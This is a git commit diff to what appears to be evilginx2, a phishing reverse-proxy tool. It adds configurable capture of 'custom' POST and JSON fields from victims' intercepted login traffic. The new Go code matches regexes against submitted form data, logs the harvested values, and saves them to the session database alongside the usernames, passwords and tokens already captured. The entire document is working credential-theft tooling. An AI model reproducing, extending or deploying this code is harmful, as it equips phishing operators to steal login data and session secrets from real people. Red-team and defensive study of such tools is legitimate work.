added capturing of custom post fields

kgretzky · kgretzky · commit eb98606b3bab · 2018-11-19T17:00:35.000+01:00
diff --git a/core/http_proxy.go b/core/http_proxy.go
@@ -251,6 +251,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 								}
 							}
 
+							for _, cp := range pl.custom {
+								if cp.tp == "json" {
+									cm := cp.search.FindStringSubmatch(string(json))
+									if cm != nil && len(cm) > 1 {
+										p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
+										log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
+										if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
+											log.Error("database: %v", err)
+										}
+									}
+								}
+							}
+
 						} else {
 
 							if req.ParseForm() == nil {
@@ -276,6 +289,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 											}
 										}
 									}
+									for _, cp := range pl.custom {
+										if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
+											cm := cp.search.FindStringSubmatch(v[0])
+											if cm != nil && len(cm) > 1 {
+												p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
+												log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
+												if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
+													log.Error("database: %v", err)
+												}
+											}
+										}
+									}
 								}
 							}
 
@@ -433,6 +458,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
 								re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
 								re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
 								re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
+								re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
+								re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
+								re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
 								replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
 								replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
 								replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
@@ -557,6 +585,16 @@ func (p *HttpProxy) setSessionPassword(sid string, password string) {
 	}
 }
 
+func (p *HttpProxy) setSessionCustom(sid string, name string, value string) {
+	if sid == "" {
+		return
+	}
+	s, ok := p.sessions[sid]
+	if ok {
+		s.SetCustom(name, value)
+	}
+}
+
 func (p *HttpProxy) httpsWorker() {
 	var err error
 
diff --git a/core/phishlet.go b/core/phishlet.go
@@ -44,6 +44,7 @@ type PhishletVersion struct {
 
 type PostField struct {
 	tp     string
+	key_s  string
 	key    *regexp.Regexp
 	search *regexp.Regexp
 }
@@ -63,6 +64,7 @@ type Phishlet struct {
 	password     PostField
 	landing_path []string
 	cfg          *Config
+	custom       []PostField
 }
 
 type ConfigProxyHost struct {
@@ -95,8 +97,9 @@ type ConfigPostField struct {
 }
 
 type ConfigCredentials struct {
-	Username *ConfigPostField `mapstructure:"username"`
-	Password *ConfigPostField `mapstructure:"password"`
+	Username *ConfigPostField   `mapstructure:"username"`
+	Password *ConfigPostField   `mapstructure:"password"`
+	Custom   *[]ConfigPostField `mapstructure:"custom"`
 }
 
 type ConfigPhishlet struct {
@@ -135,6 +138,7 @@ func (p *Phishlet) Clear() {
 	p.username.search = nil
 	p.password.key = nil
 	p.password.search = nil
+	p.custom = []PostField{}
 }
 
 func (p *Phishlet) LoadFromFile(path string) error {
@@ -287,8 +291,35 @@ func (p *Phishlet) LoadFromFile(path string) error {
 	if p.password.tp == "" {
 		p.password.tp = "post"
 	}
+	p.username.key_s = *fp.Credentials.Username.Key
+	p.password.key_s = *fp.Credentials.Password.Key
 
-	// TODO: add custom tokens
+	if fp.Credentials.Custom != nil {
+		for _, cp := range *fp.Credentials.Custom {
+			var err error
+			if cp.Key == nil {
+				return fmt.Errorf("credentials: missing custom `key` field")
+			}
+			if cp.Search == nil {
+				return fmt.Errorf("credentials: missing custom `search` field")
+			}
+			o := PostField{}
+			o.key, err = regexp.Compile(*cp.Key)
+			if err != nil {
+				return fmt.Errorf("credentials: %v", err)
+			}
+			o.search, err = regexp.Compile(*cp.Search)
+			if err != nil {
+				return err
+			}
+			o.tp = cp.Type
+			if o.tp == "" {
+				o.tp = "post"
+			}
+			o.key_s = *cp.Key
+			p.custom = append(p.custom, o)
+		}
+	}
 
 	p.landing_path = *fp.LandingPath
 
diff --git a/core/session.go b/core/session.go
@@ -9,6 +9,7 @@ type Session struct {
 	Name        string
 	Username    string
 	Password    string
+	Custom      map[string]string
 	Tokens      map[string]map[string]*database.Token
 	RedirectURL string
 	IsDone      bool
@@ -21,6 +22,7 @@ func NewSession(name string) (*Session, error) {
 		Name:        name,
 		Username:    "",
 		Password:    "",
+		Custom:      make(map[string]string),
 		RedirectURL: "",
 		IsDone:      false,
 		IsAuthUrl:   false,
@@ -38,6 +40,10 @@ func (s *Session) SetPassword(password string) {
 	s.Password = password
 }
 
+func (s *Session) SetCustom(name string, value string) {
+	s.Custom[name] = value
+}
+
 func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
 	if _, ok := s.Tokens[domain]; !ok {
 		s.Tokens[domain] = make(map[string]*database.Token)
diff --git a/database/database.go b/database/database.go
@@ -49,6 +49,11 @@ func (d *Database) SetSessionPassword(sid string, password string) error {
 	return err
 }
 
+func (d *Database) SetSessionCustom(sid string, name string, value string) error {
+	err := d.sessionsUpdateCustom(sid, name, value)
+	return err
+}
+
 func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
 	err := d.sessionsUpdateTokens(sid, tokens)
 	return err
diff --git a/database/db_session.go b/database/db_session.go
@@ -16,6 +16,7 @@ type Session struct {
 	LandingURL string                       `json:"landing_url"`
 	Username   string                       `json:"username"`
 	Password   string                       `json:"password"`
+	Custom     map[string]string            `json:"custom"`
 	Tokens     map[string]map[string]*Token `json:"tokens"`
 	SessionId  string                       `json:"session_id"`
 	UserAgent  string                       `json:"useragent"`
@@ -50,6 +51,7 @@ func (d *Database) sessionsCreate(sid string, phishlet string, landing_url strin
 		LandingURL: landing_url,
 		Username:   "",
 		Password:   "",
+		Custom:     make(map[string]string),
 		Tokens:     make(map[string]map[string]*Token),
 		SessionId:  sid,
 		UserAgent:  useragent,
@@ -112,6 +114,18 @@ func (d *Database) sessionsUpdatePassword(sid string, password string) error {
 	return err
 }
 
+func (d *Database) sessionsUpdateCustom(sid string, name string, value string) error {
+	s, err := d.sessionsGetBySid(sid)
+	if err != nil {
+		return err
+	}
+	s.Custom[name] = value
+	s.UpdateTime = time.Now().UTC().Unix()
+
+	err = d.sessionsUpdate(s.Id, s)
+	return err
+}
+
 func (d *Database) sessionsUpdateTokens(sid string, tokens map[string]map[string]*Token) error {
 	s, err := d.sessionsGetBySid(sid)
 	if err != nil {
